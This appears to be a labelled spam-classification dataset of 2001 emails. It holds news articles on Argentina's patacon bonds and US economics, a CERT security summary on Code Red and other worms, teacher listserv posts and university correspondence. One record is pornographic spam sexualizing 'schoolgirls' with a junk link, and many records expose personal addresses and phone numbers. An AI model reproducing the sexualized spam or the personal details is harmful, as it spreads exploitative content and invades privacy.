-------------------------------------------------------------------------------- URL for this Article: http://interactive.wsj.com/archive/retrieve.cgi?id=SB998858675658835975.djm Hyperlinks in this Article: (1) Copyright © 2001 Dow Jones & Company, Inc. All Rights Reserved. Printing, distribution, and use of this material is governed by your Subscription Agreement and copyright laws. For information about subscribing, go to http://wsj.com ",0,1 Julianne ,ggilfoyl@facstaff.richmond.edu,"Tue, 28 Aug 2001 02:29:29 -0700",delectable Just Schoolgirls and esthetical Schoolgirls from Your drream!," charming russiann Cutie in ponno! http://playbetwager.info/index8.html?iSPhfd.fX,hj U,NN,$,U,B,S,C,R,l,B,E http://playbetwager.info/ ",1,1 Phil McLewin ,Phil McLewin ,"Mon, 27 Aug 2001 22:25:29 -0400",WSJ.com,"WSJ.com August 21, 2001 Page One Feature As Argentina Seeks Relief, Buenos Aires Touts Bonds That Many Don't Want By MATT MOFFETT Staff Reporter of THE WALL STREET JOURNAL LA PLATA, Argentina -- In a daring, decadelong economic experiment, Argentina has held to a single, simple monetary rule: One peso equals one dollar. Carlos Ruckauf, governor of Buenos Aires province, with patacon in hand. But as Argentina endures a financial calamity that has jarred markets around the world, the country's vast Buenos Aires province is suddenly facing a more complicated financial calculation: What is one patacon worth? The patacon is a wallet-size negotiable bond that the cash-strapped provincial government wants to use to pay part of what it owes to public employees and suppliers. Complete with an engraving of Daro Rocha, the mustachioed founder of this provincial capital, the patacon looks like legal tender. And, if all goes as planned, the patacon will start being used as money Tuesday, in an area accounting for one-third of Argentina's population and economic output. 'An Act of Vandalism' But many workers and businesses are outraged about the plan. Mobs of unemployed protesters, known as piqueteros, have set up roadblocks that paralyzed major thoroughfares in the province, which encompasses suburban Buenos Aires and a Nevada-size area of the surrounding pampas. The teachers union has decried the patacon as ""an act of vandalism against wages,"" and the rank and file walked out of classrooms. Dozens of merchants and state contractors have flat out refused to accept patacons at face value. 1U.S. Urges IMF to Seek Enduring Fix for Argentina's Economic Troubles The bonds pay annual interest of 7% to those who hold them to maturity next year, and the federal government has said it will accept them as payment on taxes, as well. But the country's long history of financial turbulence, resolved only by the dollar-backed peso, has made residents wary of anything that gives off a whiff of funny money. Many fear that patacons won't be widely accepted or will quickly lose their value. Yet the consequences of not having enough pesos circulating are also proving devastating. Lacking the means to pay suppliers, provincial hospitals have been forced to ration food and have deprived cancer patients of medicine. ""The question is whether bad money is better than no money at all,"" says Vitali Carlos, a union leader. The Definition of Money Argentina's patacon predicament demonstrates how confusing -- and crucial -- the very definition of money has become in interlinked global markets. An intractable three-year recession, combined with a speculative wave from Wall Street, has strained the limits of Argentina's ""currency board"" system of pegging the peso firmly to the dollar. Under the rules of the currency board, the central bank can't print pesos unless it has dollars to back them. During the first half of the 1990s, Argentina's dollar-backed peso not only vanquished inflation that had reached 5,000% annually -- it also ignited an economic expansion exceeded only by China's during the period. But more recently, as several Asian and Latin American countries devalued their currencies, the peso made Argentina too pricey a place to buy goods from or invest in. Finally, this year the local and international lenders that had been keeping Argentina afloat cut it off. Now, Argentina is negotiating with the International Monetary Fund to obtain further aid to help keep the country going. With its travails, Argentina, for a while seen as a model of free-market reform in Latin America, has shaken emerging markets around the world and hamstrung stocks of U.S. companies that had bet on the peso policy. The crisis also has injected a note of desperation in the tone of Argentine authorities. ""Perhaps I will pay for the crime of speaking the truth,"" Buenos Aires Gov. Carlos Ruckauf said. ""It seems to me that the fact that Argentina went broke is being hidden from Argentines."" Federal Wiggling Patacons are a stopgap measure in a country that can't print money, can't raise it through taxation during a recession and can't borrow it from financial markets. Provincial officials say one reason they have been forced to resort to the patacon is the federal government's own wiggling on the currency board. The province was set to raise some badly needed revenue with an international bond offering in June. But in mid-June, federal Economy Minister Domingo Cavallo, the original architect of the currency board, committed what is widely seen as a major policy stumble: He announced that Argentina was tinkering with the peso-dollar peg to grant exporters what was, in effect, a 7% currency devaluation, intending to make their goods more competitive abroad. International investors were so unnerved that Buenos Aires province had to cancel its bond issue, says the Buenos Aires economy chief, Jorge Sarghini. Without the fresh capital, the province hasn't been able to pay employees or contractors for weeks. In downtown La Plata, merchants and shoppers are divided over whether the patacon is merely monetary sleight of hand or their salvation. The commercial district, several blocks of sprawling mission-style buildings subdivided into dozens of shops, once thrived on the trade of civil servants and factory workers. With the recession, some stores have been boarded up and political graffiti have proliferated. A typical message: ""Fuera Ruckauf."" (Out with Ruckauf.) Some merchants are taking a proactive stance on the patacon. ""Yes, we accept patacons,"" says the sign outside a Volkswagen dealership. Buenos Aires McDonald's restaurants are offering a meal they call the Patacombo. The notice outside the woman's clothing store Orix specifies that it will take the provincial paper at 100% of face value. ""These days, if customers want to pay us in tomatoes, I'll consider making a deal,"" says Mariano de Seta, the local cellphone dealer for Telefonica of Spain. He says sales have fallen to about 40 phones a month from three times as many at the beginning of this year. Other businesses are more skeptical. The electric utility will take patacons, but only up to 60% of each bill. At a department store called Todo Vale $2 (translation: Everything Costs $2), management doesn't even want to look at the bonds. ""My suppliers will laugh at me and then cut me off,"" says Rosana Gomez, an owner. In a telephone survey of 350 retailers, 40% said they would accept it; most of the rest weren't sure. Federal authorities have become concerned that several other tapped-out states might flood the market with scrip, further undermining the peso. So Mr. Cavallo said last week that the federal government would issue a single bond that will eventually take the place of the patacon and any other provincial bonds. Many industrialists cringe at the thought of the patacon, especially during a financial crisis. ""This is not the time to be playing around with money -- or something that looks like money,"" says Francisco Gliemmo, president of a provincial industry group. Since March, when savers and investors were badly spooked by the country's prospects, Central Bank reserves have fallen $10 billion to about $17 billion. But Argentina still has sufficient resources to cover its monetary base; Argentina's currency-board law also permits, in a pinch, the use of government securities as backing for a portion of its money. The province says it will issue $90 million in patacons this week and as much as five times that amount by the end of the year. ""Putting such a large number of patacons on the market can't help but have the psychological effect of devaluing the peso,"" says economist Jose Sbattella. The patacon also raises questions about Argentina's commitment to the steep budget cuts promised in its recently announced ""zero deficit"" plan. The austerity push is one of Argentina's justifications for seeking billions of dollars in additional assistance from the IMF. Along with introducing the provincial bond, Gov. Ruckauf announced spending reductions of $500 million, slashing everything from cellphone use to the paychecks of senior administrators. But for every patacon the province issues, that is one less peso saved from spending cuts, since patacons represent peso obligations that the government eventually must meet. Critics say Gov. Ruckauf hasn't gone far enough in rooting out waste and corruption. State Congressman Horacio Piemont uncovered one Buenos Aires Education Ministry official who is earning $2,000 a month while spending much of her time in another state campaigning for public office. Moreover, in Buenos Aires province, as in both federal and state bureaucracies throughout Argentina, government salaries have generally been higher than private-sector ones. Argentina's 23 provinces are a financial mess -- one state had to put its capitol building on the block, while another tried taxing wind as an economic resource. But Buenos Aires is the worst case. Gov. Ruckauf, who took office in 1999, says the problem was one he inherited. Argentina's peso, lashed to an ever stronger dollar, has become a hindrance to exporters. Also, Mr. Ruckauf's predecessor left him big deficits, which the province funded until recently by borrowing. Since the late 1990s, the total debt of the province has doubled to nearly $6 billion. The peso problem worsened this year -- especially after a tumultuous period in March when Argentina had three different economy ministers in three weeks. The province couldn't borrow. The equally strapped federal government delayed revenue transfers. Buenos Aires health clinics have been running short of rubber gloves and syringes lately. Some primary schools have had to stop offering the only hot meal many low-income students were receiving. Last month, Gov. Ruckauf had to admit the truth: ""There isn't cash to pay salaries,"" he said. The province tried to put the best face on the patacon, even cranking up a promotional campaign. The slogan: ""He who wants to, spends it. He who saves it, earns."" Late last week, the government filled automatic tellers with patacons so that Buenos Aires employees could collect part of their salary in the bonds. But at the last minute, provincial judges barred the release of the bonds until Gov. Ruckauf assumed personal liability for any financial harm the patacons might cause. Mr. Ruckauf said he will go ahead with the patacon launch Tuesday anyway. Some Buenos Aires residents are receptive to the patacon, if only out of desperation. Almost everyone in the province seems to be in hock these days. The province owes $180 million to contractors. The state has its creditors, too. The print shop that did the patacon engravings took on the job to cover an $8 million bill for back taxes. The government said it would establish a hotline where consumers can denounce speculation by merchants who won't accept the patacon at 1-to-1 to the peso. But people such as teachers union leader Susana Luburu, one of 180,000 workers and retirees who will be paid partly in patacons and partly in pesos, frets that the paper won't hold its value. ""One peso buys a cup of coffee or a newspaper,"" she says. ""But what will you be able to buy with one patacon?"" The situation is even more confusing for government contractors. The province wants to pay them in both patacons and yet another piece of paper -- three-year ""debt consolidation"" bonds that yield 12%. Daniel Amato, head of the contractors' federation, says he fears the value of the consolidation bonds will quickly collapse as their cash-starved bearers unload them. ""Contractors don't need money in three years -- they need it this instant,"" says Mr. Amato. Other solutions are under discussion in Buenos Aires. One La Plata newspaper has been conducting an online survey on whether Argentina should extend its peso-dollar peg the next logical step: doing away with the peso and using the greenback for all transactions. The thinking is that dollarization would once and for all eliminate investor fears of an imminent devaluation, thus reducing capital flight and bringing down interest rates. Some provincial-rights diehards have floated an even more radical idea. Since the provincial bank, Banco de la Provincia de Buenos Aires, was chartered in 1822, before Argentina's Central Bank came into being, it might not be subordinate to the Argentine equivalent of the Fed, the theory goes. Thus the province might legally be able to print its own pesos. -- Pamela Druckerman in New York contributed to this article. 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For information about subscribing, go to http://wsj.com ",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 28 Aug 2001 11:12:26 -0400",CERT Summary CS-2001-03," -----BEGIN PGP SIGNED MESSAGE----- CERT Summary CS-2001-03 August 28, 2001 Each quarter, the CERT Coordination Center (CERT/CC) issues the CERT Summary to draw attention to the types of attacks reported to our incident response team, as well as other noteworthy incident and vulnerability information. The summary includes pointers to sources of information for dealing with the problems. Past CERT summaries are available from: CERT Summaries http://www.cert.org/summaries/ ______________________________________________________________________ Recent Activity Since the last regularly scheduled CERT summary, issued in May 2001 (CS-2001-02), we have seen several self-propagating worms, as well as active exploitation of vulnerabilities in Solaris in.lpd, BSD telnet daemon and Microsoft IIS by intruders. In addition, we have seen an increase in intruder activity directed at home users. For more current information on activity being reported to the CERT/CC, please visit the CERT/CC Current Activity page. The Current Activity page is a regularly updated summary of the most frequent, high-impact types of security incidents and vulnerabilities being reported to the CERT/CC. The information on the Current Activity page is reviewed and updated as reporting trends change. CERT/CC Current Activity http://www.cert.org/current/current_activity.html 1. ""Code Red"" / ""Code Red II"" worms On June 19, 2001, the CERT/CC published CERT Advisory CA-2001-13, describing a vulnerability in Indexing Services used by Microsoft IIS 4.0 and IIS 5.0 running on Windows NT, Windows 2000, and beta versions of Windows XP. This vulnerability allows a remote intruder to run arbitrary code on the victim machine. On July 19, 2001, the CERT/CC began receiving a large number of reports of a worm commonly referred to as ""Code Red"". The widespread, automated attack and propagation characteristics of this worm, and its variants, have caused bandwidth denial-of-service conditions in isolated portions of the Internet, particularly near groups of compromised hosts. Since that time, we have received reports of variants, as well as reports of another worm with similiar characteristics (Code Red II). These worms have affected at least 300,000 hosts. The CERT/CC highly encourages administrators of IIS servers to review the following documents and take appropriate action. CERT Advisory CA-2001-13: Buffer Overflow In IIS Indexing Service DLL http://www.cert.org/advisories/CA-2001-13.html CERT Advisory CA-2001-19: ""Code Red"" Worm Exploiting Buffer Overflow in IIS Indexing Service DLL http://www.cert.org/advisories/CA-2001-19.html CERT Advisory CA-2001-23: Continuing Threat of the ""Code Red"" Worm http://www.cert.org/advisories/CA-2001-23html CERT Incident Note IN-2001-08: ""Code Red"" Worm Exploiting Buffer Overflow in IIS Indexing Service DLL http://www.cert.org/incident_notes/IN-2001-08.html CERT Incident Note IN-2001-09: ""Code Red II:"" Another Worm Exploiting Buffer Overflow in IIS Indexing Service DLL http://www.cert.org/incident_notes/IN-2001-09.html 2. ""Code Red"" Worm Crashes IIS 4.0 Servers with URL Redirection Enabled Along with the large number of ""Code Red"" and ""Code Red II"" reports indicating that systems are compromised, the CERT/CC has received a smaller yet still significant number of reports where Windows NT 4.0 IIS 4.0 systems have been adversely affected by the high volume of ""Code Red"" scanning activity. A recently discovered vulnerability can cause an IIS 4.0 server (patched against ""Code Red"" according to Microsoft Security Bulletin MS01-033) with URL redirection enabled to crash when scanned by the ""Code Red"" worm. CERT Incident Note IN-2001-10: ""Code Red"" Worm Crashes IIS 4.0 Servers with URL Redirection Enabled http://www.cert.org/incident_notes/IN-2001-10.html 3. W32/Sircam Malicious Code ""W32/Sircam"" is malicious code that spreads through email and potentially through unprotected Windows network shares. Once the malicious code has been executed on a system, it may reveal or delete sensitive information. Detailed information about W32/Sircam can be found in CERT Advisory CA-2001-22. Users are strongly encouraged to visit their anti-virus vendor's website for information on how to properly remove W32/Sircam from an infected computer. CERT Advisory CA-2001-22: W32/Sircam Malicious Code http://www.cert.org/advisories/CA-2001-22.html 4. Buffer Overflow in telnetd The telnetd program is a server for the Telnet remote virtual terminal protocol. There is a remotely exploitable buffer overflow in Telnet daemons derived from BSD source code. This vulnerability can crash the server or be leveraged to gain root access. CERT Advisory CA-2001-21: Buffer Overflow in telnetd http://www.cert.org/advisories/CA-2001-21.html 5. Buffer Overflow in Sun Solaris in.lpd Print Daemon A buffer overflow exists in the Solaris BSD-style line printer daemon, in.lpd, that may allow a remote intruder to execute arbitrary code with the privileges of the running daemon. CERT Advisory CA-2001-15: Buffer Overflow in Sun Solaris in.lpd Print Daemon http://www.cert.org/advisories/CA-2001-15.html 6. Continuing Threats to Home Users The CERT/CC has observed a significant increase in activity resulting in compromises of home user machines. Many home users do not keep their machines up to date with security patches and workarounds, do not run current anti-virus software, and do not exercise caution when handling email attachments. Intruders know this, and we have seen a marked increase in intruders specifically targeting home users who have cable modem and DSL connections. The CERT/CC strongly encourages home users to review the below referenced documents. These documents illustrate the threats to home users, and outline countermeasures that can be used to mitigate aganist them. CERT Advisory CA-2001-20: Continuing Threats to Home Users http://www.cert.org/advisories/CA-2001-20.html CERT Tech Tip: Home Network Security http://www.cert.org/tech_tips/home_networks.html 7. W32/Leaves The CERT/CC has received a number of reports regarding the compromise of home user machines running Microsoft Windows. Most of these reports surround the intruder tool SubSeven. SubSeven is often used as a Trojan horse, which allows an intruder to deliver and execute any custom payload and run arbitrary commands on the affected machine. CERT Incident Note IN-2001-07: W32/Leaves: Exploitation of previously installed SubSeven Trojan Horses http://www.cert.org/incident_notes/IN-2001-07.html _________________________________________________________________ What's New and Updated Since the last CERT Summary, we have published new and updated * Advisories http://www.cert.org/advisories/ * Congressional Testimony http://www.cert.org/congressional_testimony/ * Incident Notes http://www.cert.org/incident_notes/ * CERT/CC Statistics http://www.cert.org/stats/cert_stats.html * Tech Tips http://www.cert.org/tech_tips/ * Training Schedule http:/www.cert.org/training/ ______________________________________________________________________ This document is available from: http://www.cert.org/summaries/CS-2001-03.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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I will briefly describe what I am doing below and would be interested in hearing what you are doing as well. In our secondary math methods, each of our students teaches two mini lessons to their peers. The topics ranged from fractions and integers in grade 7 to functions in Algebra 2. We basically teach our way through the curriculum. In the first half of the semester, the students prepare their first lesson on their own. At mid semester, I teach them about lesson study. In the second half of the semester, lesson study groups of 3 or 4 students and each group prepares 3 or 4 lessons as a group. For each lesson, they meet at least twice and a different member of the group teaches each lesson. Although this is not real ""lesson study"", it does get them talking to each other about mathematics and anticipating student responses. This fall we will do lesson study more similar to what the Japanese do. I will teach the class about lesson study and put them in groups of 4 part way through the semester. They will meet with a public school teacher and select a topic that the public school teacher will be teaching at the beginning of December. The lesson study groups will then prepare for two or three weeks before teaching their lesson to their peers. Based on the feedback received after this teaching session, they will revise their lesson in preparation for teaching in the public schools at the beginning of December. As one of the final papers for the class they will write about their experience. Thanks for reading. I look forward to hearing about your experiences with lesson study for preservice teachers. Blake -- Blake E. Peterson Brigham Young University Department of Mathematics Education TMCB 264 Provo, Utah 84602 (801) 378-7784 Fax: (801) 378-6058 --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 """Monday, Kathy"" ","""Gilfoyle, Gerard"" ","Wed, 29 Aug 2001 16:59:18 -0400",RE: Meeting on new server cluster,"Hi Jerry, Holly has been sick all week... I'll get back to you next week. Is Wednesday generally a good day? Kathy -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Wednesday, August 22, 2001 5:11 PM To: Monday, Kathy Subject: Re: Meeting on new server cluster hi kathy, the best time would be next week, probably wednesday. i'll see if mike, mirela, and phil are interested. jerry ""Monday, Kathy"" wrote: > > > Hello Gerry, > > > > Holly, Tim, and I would like to get together with you sometime soon to > > talk about the new servers you have or will be receiving. We would like > > to discuss maintenance and security and see where we can assist. > > > > Thanks, > > > > Kathy -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 Phil McLewin ,Phil McLewin ,"Thu, 30 Aug 2001 11:21:41 -0400",BW Social capital,"BW Online | July 23, 2001 | Chart: Hitting New Lows Register/Subscribe Home Search THE SITEBW MagazineB-SchoolsCareersDaily Briefinge.bizInvestingSmall Business----------------Past Issues ->Advanced Search -> U.S. EDITION Full Table of Contents Cover Story Up Front Readers Report Corrections & Clarifications Technology & You Books Economic Viewpoint Economic Trends Industry Insider Business Outlook News: Analysis & Commentary In Business This Week Washington Outlook International Business International Outlook Information Technology Finance Industrial Management Media The Corporation People Developments to Watch BusinessWeek Lifestyle The Barker Portfolio Inside Wall Street Figures of the Week Editorials INTERNATIONAL EDITIONS International -- Readers Report International -- Asian Business International -- European Business International -- Finance International -- Int'l Figures of the Week International -- Editorials Customer Service Contact Us Advertising Conferences Permissions & Reprints Marketplace Subscribe to BW JULY 23, 2001 Economic Trends By Gene Koretz Printer-Friendly Version E-Mail This Story Why Americans Grow Apart Chart: Two Signs of Waning Social Capital Consumers Tap Home Wealth Nothing Fishy in the Euro's Slide Chart: Hitting New Lows Why Americans Grow Apart Economists have been paying a lot of attention recently to ""social capital,"" a concept popularized by Harvard University political scientist Robert D. Putnam in the book Bowling Alone. Social capital refers to bonds of trust and mutual concern that arise through volunteering, socializing, and taking part in organizations such as church and civic groups, bowling leagues, PTAs, and professional associations. Research suggests that social capital pays off in myriad ways--promoting the transmission of new ideas, improving children's education, enhancing the efficiency of labor and capital markets. Putnam and others find that many activities that build social capital have been declining in the U.S. for several decades. What's behind such declines? While Putnam blames TV and the aging of the civic-minded generations born before World War II, a study by Dora L. Costa of Massachusetts Institute of Technology and Matthew E. Kahn of Tufts University focuses on such trends as the huge rise in working women and the growing racial, ethnic, and income diversity in communities. They report that rising income inequality has played a big part in eroding America's social capital outside the home, whereas the advent of the working woman has eroded social capital in the home. And despite the vaunted benefits of rising immigration and ethnic diversity, such changes (rather than racial diversity) also appear to weaken the ties that bind communities together. Analyzing copious survey data, the two economists first focus on a five- percentage-point drop since the early 1970s in the share of prime-age adults doing volunteer work. The main culprit, they find, is growing income inequality in communities--suggesting, says Kahn, that ""people are more likely to volunteer if they can identify with the economic status of those they're helping."" Income inequality was also the largest contributor to an 11-percentage-point decline in organizational membership from the early 1970s to the early 1990s, with the impact especially apparent in youth, sports, church, literary, and hobby clubs. Increased ethnic diversity and the rising number of women in the workforce played smaller roles, the authors report. Finally, the study looked at a drop in home-based social capital as reflected in declines in the frequency with which people entertain at home or visit friends and neighbors--behaviors that enhance the socialization of children. Of the possible explanations here, the rising labor-force participation of women turns out to be by far the most compelling. How worrisome is the decline in social capital? Its purported effects on economic performance were hardly noticeable during the booming 1990s. But in the slow-growth era that may lie ahead, note Kahn and Costa, they could become painfully apparent. Consumers Tap Home Wealth If the economy avoids a recession this year, it will be largely because of the resilient U.S. consumer. One reason consumption has held up, says economic consultant L. Douglas Lee of Economics from Washington Inc., is that households have been able to tap the wealth engendered by the continuing rise in home prices, which have been running more than 8% above last year's levels. Lee notes that an estimated 10% of outstanding mortgages have been refinanced since late last year. More important, much of that has involved so-called cash-out refinancing, in which owners increase their mortgage loans. He is especially intrigued by a recent study by MGIC Capital Markets Group that indicates that homeowners who refinanced during last year's fourth quarter added an average $41,000 to their first mortgage balances. Although the average interest rate on the new mortgages was more than half a percentage point higher than the rate on the old ones, borrowers used most of the proceeds to pay off even higher interest debt on credit cards, auto loans, and second mortgages--and often reaped a tax deduction at the same time. In other words, homeowners have gotten a lot more sophisticated. They're willing to refinance their mortgages even when interest rates are slightly higher because they realize they can still save money and boost cash flow by consolidating other debts. ""If even small declines in interest rates can now trigger refinancing decisions,"" says Lee, ""the latest refinancing boom is likely to last a lot longer than usual."" Nothing Fishy in the Euro's Slide Earlier this year, many economists expected the euro to rise against the dollar. Since then, its value has dropped as low as 84.5 cents, and one popular theory is that its decline has been fueled by a rush by black marketeers to exchange marks and other euro-zone national currencies for dollars before those currencies are replaced by euro coins and notes early next year. Currency experts at HSBC Holdings are dubious, however. If such a scramble out of black-market money into dollars were happening, they argue, euro-zone coins and notes in circulation would be shrinking significantly. Instead, they estimate that such currencies in circulation have fallen by a mere 5 billion euros or so from last year's average level--more than half of which is easily explained by the cessation of national currency production by banks, the recent slowdown in European economic growth, and the actions of people with legitimate currency holdings. The rest--a drop of at most 2 billion euros--is ""utterly insignificant as far as the euro's external value is concerned,"" say HSBC's experts. What has really mattered for the euro, they note, is this year's 142 billion-euro outflow in the form of foreign direct and portfolio investment. DJIA 9977.29 -113.70 Nasdaq 1791.99 -51.18 S&P 500 1134.41 -14.15 30 yr Bond 5.36 +0.00 Create / Check Portfolio Launch Popup Ticker Stock Lookup Enter name or ticker Copyright 2001 , by The McGraw-Hill Companies Inc. All rights reserved. Terms of Use | Privacy Policy ",0,0 WebMaster1954@yahoo.com,playgrdsga@msn.com,"Thu, 30 Aug 2001 13:48:52 -0000",ADV: I bet that I make more money in the Web design business than you do. Time:1:48:52 PM,"I bet that I make more money in the Web design business than you do. From the customers I received last month I made $1560 income. I also profited on these people $1000 up front. And you know the funniest part? I didn't even design their sites! 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I have since read ""The Teaching Gap"" and also attended the Open House at the Japanese School in Greenwich, Connecticut which was set up by Dr. Clea Fernandez at Columbia Teacher's College. A group at my high school started a lesson study in mathematics last year. We had a diverse group of 5 teachers - from NBCT to new student teachers. It took us a while to get started, but we began to make some progress by the end of the year. Unfortunately, we have no extra funding, so we only met about \\twice per month for one hour. Due to issues of state standards, we decided to focus our efforts on developing performance assessments to meet our state standards, and instruction which will support students reaching these standards. I would be very interested in discussing others' experience in this area. (One thing I found interesting at the Open House was in response to my question about the use of lesson study in high school classes in Japan, they said that everyone was too focused on tests, and that it was rarely used. Mary Moreira Home: 3048 Kyle Ave. No. Minneapolis, MN. 55422-3121 763-529-6054 School: Patrick Henry High School 4300 Newton AVe. No. Minneapolis, MN 55412 Voice mail: 612-668-9580 -----Original Message----- From: Janice Itzel [mailto:jitzel@state.de.us] Sent: Monday, August 27, 2001 12:42 PM To: Lesson Study Listserv Subject: Lesson Study in High School If there is anyone out there engaged in or having knowledge about any high school Lesson Study groups, please let me know. I would like to hear about your progress. Thanks! Janice Itzel, Teacher-on-Loan Lesson Study Delaware Department of Education 302-739-4885 ex. 3333 jitzel@state.de.us --- You are currently subscribed to lessonstudy as: mary_moreira@rdale.k12.mn.us To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 Phil McLewin ,Phil McLewin ,"Mon, 03 Sep 2001 09:58:47 -0400",What We Work for Now,"What We Work for Now SEP 03, 2001 What We Work for Now By JEROME M. SEGAL OLLEGE PARK, Md. -- Despite all our concerns with self-fulfillment, most Americans work to earn money, just as their forebears did 100 years ago. The relative costs of necessities have changed, and so has a fair definition of what is necessary. But even with all our economic growth, and even with some items much cheaper than they once were, families still spend about four-fifths of their budgets for core needs, just as their counterparts did a century ago. Perhaps there should be some national introspection about how much we have really gained. Certainly, we have escaped the overwhelming tyranny of food. In 1901, the Bureau of Labor Statistics reported that in major industrial cities, the biggest expenditure item for families was food — half of spending in low-income families and a third in more affluent ones. In 1999, food took only 15 percent of household spending, and more than a third of that spending was for food prepared away from home. For food from their own kitchens, Americans now use up only 9 percent of their budgets. They can cover that with a little more than a month of work — probably the lowest level of work effort for food in human history. Even households in the lowest fifth of income use only 18 percent of total spending for food. Something similar has happened with clothing. In 1901 it took 10 to 15 percent of the family budget, and now it takes only 5 percent. What, then, are Americans spending their money on? A common stereotype of the pampered consumer might suggest that large amounts are going for toys and luxuries, but I found while conducting studies for Redefining Progress, a public policy organization in Oakland, Calif., that this is a misconception. Electronic gadgets, for instance, have a small place in consumer spending — 2 percent in 2000. Entertainment takes less than 6 percent. The largest expenditure item now is housing. Bringing together renters and owners, shelter, including utilities, takes 27 percent of our spending, compared to a very similar 25 percent in 1901. Although our homes today are much more luxurious, safe neighborhoods with good public schools remain out of reach for many. The big growth category is transportation. In the earliest studies of consumption, transportation wasn't even a separate category; it took only 1 or 2 percent of spending. But then came the automobile, and now we devote more than 20 percent of our spending to transportation. Just to cover that, the average American family works from New Year's Day to March 14. No society in history has worked so much just to be able to get around. A car may once have been a luxury, but as cities and suburbs have spread out, stores have disappeared from neighborhoods, and work and school have ceased to be within walking distance, nearly all Americans have become car-dependent. And with most women in the formal work force, many families have two automobiles — not really as a matter of choice, but as a basic need. Another work-related item virtually unknown a century ago is day care. Self-sufficiency budgets, calculated by many states to determine families' costs for basic needs, allocate 25 to 30 percent of a low-income household's spending for day care. Though education remains only a minor category of spending — 2 percent — this is just on average. For families with children in college — and college is now required for far more jobs than in the past — this expense can be staggering. So in a century of growing incomes and changing lives, what has been gained? While the energies of Americans are expended to obtain different items than they were years ago, what remains constant is the emphasis on the basics. In 1901, 80 percent of spending went for food, housing and clothing. In 1999, 81 percent of spending went for food, housing, clothing, transportation and health care. A century of economic growth has certainly brought some genuine progress, but it is less clear-cut than we sometimes think. Jerome M. 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The Commerce Department also released new data suggesting the decline in corporate profits has slowed and that profits for the broad economy are in better shape than those of companies in the major stock-market indexes. 1See the full text of the Commerce Department's preliminary report on second-quarter gross domestic product. 2Read analysis from Briefing.com on the GDP report. While 0.2% is statistically almost indistinguishable from zero, a negative number could have been politically and psychologically damaging to policy makers and consumers. The picture is grim enough: GDP has grown just 1.2% in the past 12 months, the slowest 12-month rate of change since the recession of 1990-91. The second-quarter growth rate could yet be revised away; a final estimate is due in late September. In addition, business investment, stock prices, consumer confidence and some foreign economies have weakened further in the current quarter. In San Antonio on Thursday, President Bush said a recovery seems ""very slow in coming."" But the GDP report contained important bright spots. The main reason for the downward revision was that businesses liquidated inventories at a far faster rate than originally estimated. They may not be able to make sales out of inventories at the same rate. If so, that would require increases in production in the current quarter. Business investment in buildings, factories, equipment and software was revised to a 14.6% drop, the deepest since 1980, from the earlier estimate of a 13.6% decline. But growth in personal consumption, totaling two-thirds of GDP, was revised up to growth of 2.5% from 2.1%. Lehman Brothers economist Joseph Abate said that statistic shows ""the consumer was actually spending more than was given credit for."" He said consumption could grow in the current quarter at about 3%. Combined with slowing inventory liquidation, that would make it difficult for the economy to record the two quarters of negative growth that is often used as the definition of a recession. The National Bureau of Economic Research business-cycle dating committee is considered more authoritative on the subject, and its recent comments have played down the possibility that a recession has started. ""I think there's a good chance we'll dodge the bullet this time,"" Princeton University economist and committee member Ben Bernanke said in an interview published on the university's Web site. In a separate interview Wednesday, he said, ""The decline is most pronounced in the industrial and high-tech sectors and we're still seeing a really strong labor market and personal income growth and so on. I'm not a forecaster, but so far it doesn't show the weakness or pervasiveness of a classic recession."" Wednesday's report also showed after-tax corporate profit fell 2% at a quarterly rate in second quarter after falling 7.8% in the first quarter and 3.5% in the fourth. Furthermore, some of the second-quarter decline reflected insurance claims and uninsured losses from Tropical Storm Allison and other severe storms. After-tax profit fell 12.6% from a year earlier, or 13.4% after adjusting for inventory valuation and capital-consumption allowances. That divergence is less than Thomson Financial/First Call's 17% estimated decline in operating earnings of companies in the Standard & Poor's 500-stock index. The discrepancy suggests profits at small and closely held companies haven't fallen as much as those of companies in the blue-chip indexes. That is partly because tech companies, whose profits have been especially hard hit, make up much less of the overall economy than they do of stock indexes. (Both the government and First Call attempt to exclude most unusual charges such as for write-down of assets. But tallying profits has been complicated by companies' widely differing treatment of unusual items, the classification of stock option income and accounting for losses at small firms.) Goldman Sachs economist Jan Hatzius said, ""In terms of the rates of decline, the worst probably is past,"" though it isn't clear investors' expectations have yet come down enough. Write to Greg Ip at greg.ip@wsj.com3 -------------------------------------------------------------------------------- URL for this Article: http://interactive.wsj.com/archive/retrieve.cgi?id=SB999088027890732633.djm Hyperlinks in this Article: (1) http://interactive.wsj.com/documents/bbgdp-20010829.htm (2) http://interactive.wsj.com/documents/bcom-suboecgdp.htm (3) mailto:greg.ip@wsj.com -------------------------------------------------------------------------------- Copyright © 2001 Dow Jones & Company, Inc. All Rights Reserved. Printing, distribution, and use of this material is governed by your Subscription Agreement and copyright laws. For information about subscribing, go to http://wsj.com ",0,1 Elizabeth Cash ,"jryder@WPI.EDU, 'Ian Nathaniel Hobbs' , Elizabeth Cash ","Thu, 06 Sep 2001 12:24:54 -0400",Re: today,"Burke good idea. Ian the website for XQuery syntax is: http://www.w3.org/TR/query-semantics/ See y'all tomorrow. ~LIZ ----- Original Message ----- From: ""Burke Ryder"" To: ""'Elizabeth Cash'"" ; ""'Ian Nathaniel Hobbs'"" Sent: Thursday, September 06, 2001 12:24 PM Subject: RE: today > why don't we meet tomorrow, that way we can get stuff done tonight and have > something to talk about tomorrow. Tomorrow at 4? > > burke > > -----Original Message----- > From: Elizabeth Cash [mailto:lizesc@WPI.EDU] > Sent: Thursday, September 06, 2001 12:04 PM > To: Ian Nathaniel Hobbs > Cc: jryder@WPI.EDU > Subject: Re: today > > > Oops, resend;... > > I haven't had time to look over the info... so I think it might be kind of > pointless... 